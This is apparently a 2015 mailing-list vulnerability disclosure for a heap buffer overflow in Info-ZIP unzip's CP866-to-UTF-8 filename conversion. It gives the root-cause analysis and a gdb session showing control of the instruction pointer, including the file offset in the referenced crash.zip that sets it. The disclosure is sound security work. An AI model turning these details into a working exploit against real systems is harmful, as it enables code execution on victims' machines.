Date: Fri, 13 Feb 2015 00:02:14 +0100
From: William Robinet <william.robinet@conostix.com>

Here is a crash file [0] for Info-ZIP unzip. I tested it on Ubuntu 14.04.1 LTS
amd64 with unzip-6.0-9ubuntu1.2.

$ unzip -l crash.zip
Archive:  crash.zip
Segmentation fault (core dumped)
$ echo $?
139

$ unzip crash.zip
Archive:  crash.zip
Segmentation fault (core dumped)
$ echo $?
139

The problem comes from the "unix/unix.c:charset_to_intern()" function from the
"06-unzip60-alt-iconv-utf8" patch (cfr relevant excerpt at [1]).

Arbitrary code execution is most probably possible. It's just a matter of time
in order to get a working exploit.

Here are the details.

Please refer to the code of the "unix/unix.c:charset_to_intern()" function in
[1].

The problem is triggered during string conversion from CP866 to UTF-8:
(gdb) p local_charset
$2 = 0x7ffff755330c "UTF-8"
(gdb) p from_charset
$3 = 0x62bda0 <OEM_CP> "CP866"

The "string" variable is allocated at:
fileio.c:2207             G.filename_full = malloc(fnbufsiz);

Size of the allocation is defined by
fileio.c:2201             extent fnbufsiz = FILNAMSIZ;
and
unzpriv.h:1198 #define FILNAMSIZ  PATH_MAX

Finally "string" has a maximum size of:
(gdb) p PATH_MAX
$1 = 4096

The "buf" variable is used as the destination buffer for the result of the
string conversion of the "string" variable by the "iconv" function at
unix/unix.c:1948.

"buf" is allocated with a size of twice (+1) the actual size of the string
referenced by the "string" variable at unix/unix.c:1942.

Finally, after conversion, the actual string referenced by "buf" is
copied to "string" at unix/unix.c:1950.

The problem is that, in some case and after conversion, the actual size
of the string referenced by "buf" can be larger that the maximum size of
the "string" buffer (4096). This leads to a heap-based buffer overflow.

Here is an example gdb session (unzip has been recompiled with -g -ggdb3).
RIP control can be easily achieved. As an example, with the attached crash.zip
file, RIP is set to 0x414141 (just before crashing). The 0x414141 value can be
changed at offset 0x1599 in the crash.zip file.

$ gdb -q unzip
Reading symbols from unzip...done.
(gdb) b unix/unix.c:1950
Breakpoint 1 at 0x41ef32: file unix/unix.c, line 1950.
(gdb) r -l crash.zip
Starting program: /usr/bin/unzip -l crash.zip
Archive:  crash.zip
  Length      Date    Time    Name
---------  ---------- -----   ----

Breakpoint 1, charset_to_intern (string=0x71c120 <G+983872> '\313' <repeats 199 times>, <incomplete sequence \313>..., from_charset=0x62bda0 <OEM_CP> "CP866")
    at unix/unix.c:1950
1950        strncpy(string, buf, buflen);
(gdb) p strlen(string)
$1 = 2714
(gdb) p strlen(buf)
$2 = 4395
(gdb) n
1953        free(buf);
(gdb) p strlen(string)
$4 = 4395   <--------------- Overflow has occurred
(gdb) p strlen(buf)
$5 = 4395
(gdb) b *0x414141  <-------- Let's break at the selected arbitrary address
Breakpoint 2 at 0x414141: file process.c, line 1364.
(gdb) c